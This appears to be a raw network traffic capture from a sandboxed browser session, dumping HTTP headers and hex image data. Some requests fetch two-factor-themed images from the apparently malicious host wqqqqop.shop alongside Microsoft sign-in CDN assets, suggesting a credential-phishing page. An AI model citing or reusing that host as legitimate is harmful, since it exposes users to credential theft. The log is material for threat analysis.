2024-05-27 17:30:44 UTC	505	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 08 08 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 06 05 05 05 06 06 06 06 06 05 05 06 06 06 06 06 06 06 06 06 06 06 06 0a 06 06 07 08 09 09 09 06 06 0b 0d 0a 08 0d 06 08 09 08 01 03 04 04 06 05 06 07 05 05 07 08 07 07 07 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 ff c0 00 11 08 03 a1 06 74 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 09 ff c4 00 20 10 01 01 01 01 01 00 Data Ascii: JFIFExifII1Googlet"
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: d5 8c ae b3 6a 33 aa 27 46 88 a1 a0 00 2e 00 0d 00 00 00 32 00 20 50 06 71 54 06 57 a2 c4 91 03 57 52 8a ca f4 b2 b2 03 5a 32 b6 82 8c ac ac 05 42 d4 d6 b0 51 3a 25 05 10 d4 8c ee 28 08 82 28 09 62 46 92 c0 66 ac a5 40 6b 53 a4 00 19 a6 8c 34 33 2a ca 08 62 f4 b2 83 02 fa 40 56 75 53 d2 69 a4 aa c8 cb 2d 27 a6 4b 55 56 89 4d 44 51 34 d0 51 35 40 00 00 00 00 03 40 0d 5e 90 05 e9 75 90 1a 19 34 1a 13 a3 41 40 5a 50 05 ab 57 4e 90 55 6b 55 85 d0 68 4e 97 40 00 05 95 00 6a 55 61 65 06 84 d5 00 00 34 b0 25 00 00 00 05 95 59 25 06 82 50 00 00 01 87 6c 4b 4b 50 00 4b 40 4b 53 44 00 11 a0 d4 b5 05 2d 45 91 a9 01 99 e5 a1 2d 05 4e 93 50 00 00 04 e8 14 4e 93 51 62 f4 9a 02 80 00 01 40 4d 34 14 67 a3 a5 1a 5f 2c 74 68 3a 1a c4 51 96 93 50 05 4d 00 4d 3a 31 01 7a 6a Data Ascii: j3'F.2 PqTWWRZ2BQ:%((bFf@kS43*b@VuSi-'KUVMDQ4Q5@@^u4A@ZPWNUkUhN@jUae4%Y%PlKKPK@KSD-E-NPNQb@M4g_,th:QPMM:1zj
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 00 12 a5 69 04 64 01 95 95 a6 63 40 00 26 ae 92 a0 32 ba ba c8 0d 6a b0 28 d8 ce 92 ab 2d 09 a4 aa 28 8a 00 00 00 00 08 80 03 20 0a 00 00 00 ce 80 08 00 03 31 a4 04 29 54 19 16 c4 19 0d 00 2a ca 80 2d ab 2b 22 0b d2 51 10 34 d3 05 42 52 d4 28 1d 1d 2e 24 44 17 42 c4 44 e9 7a 31 24 05 d3 59 01 6d 4e 80 44 b5 25 5b 10 45 94 e9 01 15 71 93 41 71 02 54 01 2d 4e 8a 86 22 ea ea 23 21 a9 d2 0a 60 02 43 a5 67 01 7a 59 59 c0 1a 31 85 94 1a c4 c3 a3 a0 30 e4 d3 40 e5 39 6b 40 67 0c 68 06 70 c6 93 01 30 d5 e4 e4 0d 34 e4 e4 14 67 95 05 03 00 00 05 d4 01 ad 56 09 41 b1 25 50 00 02 55 c4 14 5c 09 54 54 59 ec 14 6e 51 88 bd 2a ae 1c 9a a9 02 2c 41 42 c1 65 5c 06 5a 95 31 30 1b 19 d5 e8 14 00 60 19 b5 87 73 16 d6 40 68 01 34 54 04 00 2d 04 b5 01 17 00 19 51 9f 5e 93 d7 Data Ascii: idc@&2j(-( 1)T-+"Q4BR(.$DBDz1$YmND%[EqAqT-N"#!`CgzYY10@9k@ghp04gVA%PU\TTYnQ,ABe\Z10`s@h4T-Q^
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: f3 5a 9e 84 50 17 00 06 99 d0 00 00 01 af 2c b7 1a 67 40 04 00 00 05 4d 00 46 4d 59 50 06 a5 fc b6 e4 d4 8d 62 6b 63 32 b5 aa 80 00 00 0c b5 12 7c a8 c0 00 00 34 00 2a 68 03 3a c8 02 00 2e 2e 26 a2 a0 d2 2d a4 45 90 1b d4 82 60 8d 6a ca c8 32 d5 a6 b2 4a 0d a6 b2 b6 fe 41 28 97 e5 40 c5 c4 94 94 45 c5 8c ae 89 54 b5 2d 41 1b 19 e9 01 b4 d4 d4 06 b5 35 00 66 d5 d2 c5 19 66 55 21 20 2c a9 8a 32 24 65 b6 71 44 01 40 00 00 67 59 00 44 00 00 00 00 06 6c 16 d4 19 04 d4 e8 46 91 53 40 c3 09 4b 50 4a 86 88 01 a9 d0 94 b1 96 b5 2c 44 40 34 00 00 00 13 12 c6 b1 39 04 59 4b 13 01 ad 4d 41 34 5d 88 8a 50 a2 e8 51 05 c3 14 41 70 c0 43 4c 30 17 a5 d6 40 68 67 5a d0 00 01 65 40 1a 95 75 80 1a b0 c4 95 a9 41 9c 25 69 00 e8 d0 a0 a2 4a a0 2e a0 0b 3d 34 c2 ca 0d 00 02 ca Data Ascii: ZP,g@MFMYPbkc2\|4*h:..&-E`j2JA(@ET-A5ffU! ,2$eqD@gYDlFS@KPJ,D@49YKMA4]PQApCL0@hgZe@uA%iJ.=4
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: d6 54 00 00 54 dd 00 10 01 70 08 2f 95 4d 50 06 40 14 00 69 34 01 96 45 95 05 1b 8d 47 38 d4 aa 9a d8 ce ae 88 a2 28 00 80 a0 34 ce 80 2a 00 00 be 51 a1 34 a0 0c 80 00 00 25 42 ac 83 27 95 00 00 00 00 1a 91 96 a0 9a 88 b8 83 20 a8 b0 00 20 2c 88 d4 88 23 51 22 89 a0 0a c8 02 00 00 00 09 45 04 d6 63 49 14 40 13 41 59 ad 5a 9d 20 ca 5f 4b 63 2a 35 a9 d2 00 5a 00 00 33 ac 00 20 01 80 00 02 62 82 33 51 ab 13 04 41 3a 41 1a d4 e9 91 34 6b 57 58 19 1a d4 b5 0c 06 74 d0 19 17 50 45 34 d0 54 44 b1 4b 19 19 5d 2c 45 d1 ad 35 91 06 ac 65 2a 03 42 4a a0 25 8a 96 02 62 2d 88 0d 74 74 c8 0d 8c 35 d0 28 68 01 28 03 52 8c 80 d8 cc ad 40 05 c4 b0 16 55 64 95 46 83 45 05 d4 10 6a 55 61 a9 45 54 c5 0a 24 8d 48 98 45 58 d6 27 24 ad 04 49 14 00 c5 c4 95 a0 89 89 8d 18 04 05 Data Ascii: TTp/MP@i4EG8(4Q4%B' ,#Q"EcI@AYZ _Kc5Z3 b3QA:A4kWXtPE4TDK],E5e*BJ%b-tt5(h(R@UdFEjUaET$HEX'$I
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: b2 8c ac 50 10 00 00 00 01 63 3a 00 a0 06 00 60 d4 86 a6 80 32 c8 02 c0 01 40 00 00 00 01 00 06 41 61 20 0a 45 00 00 12 a8 9a 33 60 d2 58 88 98 8a 08 61 16 9e 41 4c 00 06 62 da 83 36 b3 6b 5e 99 00 05 00 00 01 84 00 10 00 40 12 d0 18 f4 d5 a8 83 22 c8 8c a0 58 a6 2a 6a 58 8d 58 88 88 2c 28 20 b6 31 68 2f 49 41 91 9a 8d 58 c8 00 00 00 c8 96 28 0c e2 37 58 64 16 54 14 5e 97 59 19 17 10 8d 4a 08 8d e2 60 32 2f 28 0b 2b 4c 2c a0 d0 00 98 b0 01 ad 56 1a 94 14 00 11 51 45 c0 91 71 a5 a8 18 0a be 6a b2 d4 00 00 1a 95 95 80 d0 00 2e 92 22 8d 2a 79 55 00 01 a1 9d 68 0c 00 12 2a 62 80 00 05 81 5b 76 19 00 68 01 15 3d 32 50 80 03 2b 44 aa 94 2b 38 cd 8d 02 b2 4a d2 5f 22 ac a5 4c 27 a0 40 b5 34 14 02 00 09 00 02 00 09 04 b5 29 88 b0 00 20 00 b0 00 00 00 00 10 00 28 Data Ascii: Pc:`2@Aa E3`XaALb6k^@"XjXX,( 1h/IAX(7XdT^YJ`2/(+L,VQEqj."yUh*b[vh=2P+D+8J_"L'@4) (
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 32 d4 4e 56 45 14 5e 4c 51 16 16 11 55 a0 c0 50 00 6a 09 2a 80 95 40 4f 2a 4f 2b 41 00 04 a8 51 e8 74 c0 01 2b 2d 56 52 2d 00 45 00 41 9a 8b 50 00 01 65 10 14 b1 22 da 9a 06 1c 9a 74 14 b0 e5 74 04 9e 4e 56 d3 41 39 4b 1a d4 b4 2a 58 98 a0 27 27 2a 02 61 8a 9a 0a 26 82 28 cf f4 06 86 74 d0 53 59 c5 e4 0d 46 b1 56 09 86 28 a0 02 a5 00 10 00 00 c5 82 18 b2 00 94 00 40 13 41 46 6d 35 62 55 b5 01 50 c5 f2 45 10 00 00 00 58 4a d0 06 89 62 a5 50 c0 85 4c 50 58 80 0c 84 ab a8 00 0a a9 46 bc a4 5d 19 6a d6 74 10 16 44 34 1a 2d 67 40 5d 35 34 02 d5 f3 12 34 00 54 d0 53 53 50 1a 5d 48 0c ac 69 98 b6 88 96 9a 54 01 62 2c 02 92 23 40 95 69 14 19 2a a4 19 41 49 19 10 6a a0 20 b8 40 58 14 90 16 d2 03 3a 00 20 32 d2 55 18 f4 8d 54 91 04 00 00 00 00 40 28 88 0a ce b2 8a Data Ascii: 2NVE^LQUPj@OO+AQt+-VR-EAPe"ttNVA9KX''a&(tSYFV(@AFm5bUPEXJbPLPXF]jtD4-g@]544TSSP]HiTb,#@i*AIj @X: 2UT@(
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 25 00 10 01 40 02 00 0b 00 05 00 00 05 90 11 64 39 5c 12 9c a8 08 00 00 0b 05 86 a0 22 da 80 8c b5 17 58 95 74 1a d1 23 58 08 2e 28 00 00 00 00 01 1b 49 00 14 04 a0 02 80 02 c8 a0 00 02 50 00 a0 02 50 04 00 19 40 05 00 10 55 89 22 c0 2a 90 00 00 00 00 00 00 4d 4d 00 44 00 00 00 00 00 00 0d 13 19 d5 a2 48 2a 05 29 e5 28 20 b8 8c a0 02 d0 01 00 04 00 00 00 46 6c 1a ac b2 0c 56 d2 c0 64 01 40 19 d0 01 12 00 0c 88 a0 33 c1 cb 5a 8c 89 62 63 56 25 80 98 62 e2 20 60 00 00 06 18 00 9c 9c a8 09 89 8d 35 20 31 22 b6 9c 83 23 5c a6 02 00 0b 22 e1 22 82 72 72 a0 33 84 8d 2c a0 82 f2 98 28 00 41 af 2c ac 08 d0 0a 40 05 20 60 d4 51 91 aa ce 0a 12 98 48 2b 40 00 00 2c 69 3c aa 82 72 a2 89 23 2d 8a 39 18 56 9e b8 f5 32 96 37 82 c1 cb 06 d3 94 83 23 58 ab 06 2c 4a dd 64 Data Ascii: %@d9\"Xt#X.(IPP@U"MMDH)( FlVd@3ZbcV%b `5 1"#\""rr3,(A,@ `QH+@,i<r#-9V27#X,Jd
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 46 46 b1 2c 29 10 28 80 00 00 0a 85 8d 48 b8 0c c8 b6 28 b5 23 22 da 88 40 00 16 44 8d 0a 62 72 a0 33 83 49 ca d4 88 45 91 a9 e5 69 10 5e 4c 11 00 0a 02 c1 a5 8a 00 25 8a 28 cd 8b 22 ac 85 48 83 46 2d 23 23 58 cd 82 8d 44 8d 28 00 00 00 e2 03 a6 fd 84 f4 a5 06 40 10 02 c1 58 0c 11 01 64 5c 11 24 66 b6 c8 27 26 28 a8 9c 92 28 06 33 56 d6 40 00 00 00 04 be 80 a8 9a 9a 0d 0c 69 a0 da 5a ce 80 bd 1d 20 41 75 34 35 60 09 d2 69 05 e9 35 02 0b a8 0a 94 00 2a 98 69 a2 53 90 5c 0a 9a aa 60 26 29 80 82 ea 00 d4 a6 b2 03 69 a8 b0 14 94 30 14 91 60 00 00 00 00 00 b8 b1 25 34 4a d0 92 ab 31 40 08 00 10 17 50 11 bf 34 b7 ff 00 58 50 ad 4a d4 66 46 85 00 00 01 34 00 40 00 00 45 01 63 2a a4 22 80 00 00 00 00 00 02 e0 45 c6 10 80 a2 a2 80 00 00 03 20 00 09 01 10 c1 46 54 Data Ascii: FF,)(H(#"@Dbr3IEi^L%("HF-##XD(@Xd\$f'&((3V@iZ Au45`i5iS\`&)i0`%4J1@P4XPJfF4@Ec"E FT
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 00 00 00 14 23 52 08 b4 50 65 96 a0 9e 6a 8b 40 05 00 15 63 4c f9 69 10 01 90 00 50 00 16 24 8a 0e 98 96 9e 52 d0 6a 09 15 00 04 00 58 04 82 e9 20 12 28 00 02 68 00 cb 40 34 09 29 12 35 44 4b 48 62 32 8b 2a d4 82 28 d2 28 a0 00 00 00 0c e8 00 20 00 a0 0c 80 08 00 00 00 a1 41 95 16 20 84 31 6d 48 b2 b2 24 6b 52 40 14 49 4c 02 29 04 d1 16 89 23 2a 45 25 28 12 a5 54 b4 10 0c 60 02 45 04 0c 00 01 90 00 06 6a 98 83 23 62 ac 60 6b 0c 08 c8 d6 0c e9 19 1a c3 10 8c 8d 62 72 11 05 e4 e4 22 00 10 00 68 00 45 c3 16 28 46 7f 88 da 51 23 22 d8 82 00 0a 2c 46 96 91 51 51 11 9a 2d a8 00 0b 81 23 52 24 8d 34 00 00 00 04 08 0d 62 55 16 8c e0 d2 58 a2 12 04 80 d0 00 00 a0 02 d1 c6 b2 db 0e b3 00 00 9e 91 aa c8 05 00 4f 4c e3 55 28 09 22 e2 ac 4a 98 cc 74 61 4a 00 a8 01 41 Data Ascii: #RPej@cLiP$RjX (h@4)5DKHb2(( A 1mH$kR@IL)#E%(T`Ej#b`kbr"hE(FQ#",FQQ-#R$4bUXOLU("JtaJA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	55954	152.199.23.37	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	736	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5577832 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Mon, 27 May 2024 17:30:45 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhd/35E7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b8175cca-401e-00db-62a0-7d4b57000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-05-27 17:30:45 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	55956	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	378	OUT	GET /static/media/message_think.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9fNogLBzAVUFgG3zoM2waOBrSDF4kxPa1qqcy8fzqKno4J3DwjinOf1pRYn%2Bi2sdSPJPgFWkgVVwKhRSsdY1OvAOve3cwvmGClgkYv6FboNZ%2BrM4uFK2KTUmEjET%2BjADTiegUaFbUU5MOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0f6aed4255-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:45 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-05-27 17:30:45 UTC	299	IN	Data Raw: 6b 7d b4 e4 fc 45 c3 2a a5 bc ab f5 fe df f5 34 4d fb 52 ca d3 39 03 ce cf cf 1f 5c 5f 5f 7f 28 a5 5c cc 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 25 aa 36 ac 2a 2c 51 b5 e3 28 6f 85 fb fd 7e d6 eb d8 30 0c 6f 6b ad 6f e6 5c 73 9f a8 0e 87 c3 4d ad f5 e5 38 8e 97 73 ee cd 7c ab 78 62 89 aa 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e f4 16 d6 89 a8 fa b0 f4 bf 1b e6 7a fc 9b cf 7f 94 52 5e 8c e3 f8 e5 18 cb 70 b7 de 9e 58 77 3a 1c 0e 37 d3 34 bd ba ba ba 12 55 03 56 11 96 e3 af 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e 74 15 96 a8 fa d1 4d 58 a2 ea 4b 17 61 89 aa 3f cd 87 25 aa 3e 35 1d 96 a8 fa d5 6c 58 a2 ea 5b ab 61 fd 14 15 ff dc Data Ascii: k}E4MR9\__(\YQxRoVD%6,Q(o~0oko\sM8s\|xb=%6umXj[a}%>zR^pXw:74UV=%6umXj[a}%>tMXKa?%>5lX[a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	55955	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	376	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QnRP2EzpRAYQq36eKDxo008dkL8e%2FdolB0%2FCjS%2B66XtvL0SCr8SDuFpng5FZ4cELNI8W9aLJuTrb6WBOruTFoqn0t9lmDVAuku3oeVeUOu4POj6NuLnVLc7N3%2B9UKVj4Cg%2B7Lm8AOsaZZTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0f790615bb-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:45 UTC	508	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: 6d 6d 4b 00 60 f9 f2 e5 97 32 99 4c 69 be fb a8 a7 1b 22 58 a9 54 6a b5 88 1c 02 b0 6e ea 71 e7 5c 2f 80 e3 d5 b4 b1 69 d3 a6 d6 d1 d1 d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 ce 9d 6a 69 69 39 dc df df ff e7 6a c7 d7 d5 d5 d5 d9 d2 d2 b2 a9 58 2c f6 1a 63 3e a1 aa 77 19 63 da 27 cb cf 9d 3b e7 52 a9 d4 1b 00 4e 07 41 70 38 97 cb bd 0c c0 55 db fe 42 d4 d0 c1 5a b7 6e 5d 5b 6b 6b eb 0e 00 5f 06 d0 31 9b 36 ac b5 cb 44 e4 e9 2b 57 ae 3c 2a 22 4b 27 8f 1b f3 bf 59 82 88 08 80 9b 01 f4 04 41 d0 53 2c 16 bf 12 86 e1 4b 41 10 6c 9d ee 19 31 0c c3 3d aa ba 4d 55 3b 83 20 98 6c ef ff ce 31 d7 3a 5b 03 60 8d aa 3e 92 4a a5 5e 35 c6 7c 29 9f cf f7 cf e6 31 2d 04 0d 39 c7 da bc 79 73 bb b5 76 6b 6b 6b eb eb 22 f2 55 11 99 55 a8 c2 30 ec 15 Data Ascii: mmK`2Li"XTjnq\/iU=5"TDZujii9jX,c>wc';RNAp8UBZn][kk_16D+W<*"K'YAS,KAl1=MU; l1:[`>J^5\|)1-9ysvkkk"UU0
2024-05-27 17:30:45 UTC	505	IN	Data Raw: dc 2b 40 11 09 ac b5 7b 66 d8 de cf a2 28 3a 3d f9 4d 67 67 a7 b9 7c f9 f2 ee f3 e7 cf 3f 1e 86 e1 f3 c5 62 f1 d0 c9 93 27 07 cb 75 67 ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 a5 aa 9f ae f0 ec f0 c0 c4 8d 0e 55 13 91 b7 01 9c 2e 73 fc 4e 00 fb 83 20 78 2e 0c c3 d7 71 6d a7 e8 10 80 11 e7 dc 2d 22 f2 49 11 f9 40 85 b1 40 55 0f 46 51 54 9c c9 78 ea 6d d1 06 cb 18 b3 a2 96 fd 4d bc 35 f4 a1 89 af c9 31 4c 5b 4f 55 ff d4 de de fe 9c c7 a1 79 b1 68 97 1b 54 75 21 dd 9b 18 e7 8d 20 08 7a fb fa fa ae d6 7b 20 33 b5 68 83 05 60 c1 ae 64 4f 2c 75 fc a8 58 2c de 3f b9 b7 bf d1 2c e6 60 79 75 f4 e8 d1 11 11 e9 05 90 41 95 37 5a 38 e7 ae a8 ea 8f 01 dc 9b cf e7 1f 8b 99 ec 37 84 86 9f 63 a9 ea c1 52 a9 f4 fd 72 65 23 23 23 95 7e a1 2b 8b c5 Data Ascii: +@{f(:=Mgg\|?b'ug-13+p<uhU.sN x.qm-"I@@UFQTxmM51L[OUyhTu! z{ 3h`dO,uX,?,`yuA7Z87cRre###~+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	55957	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	373	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	856	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ztj%2BDkbffLhZAUukBuLRQNOu9kgrDDj%2BCelUjKce4IJhtt4er5Wp5%2B2%2ByM11G0KnnY4YNeRt1FZkEEK875ULKYISI82rUGEvC3L5BYnO9Qy5bPaFLBelpMMtrJKoqiBLEDhiodImmK40WOo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0facb57d13-EWR alt-svc: h3=":443"; ma=86400
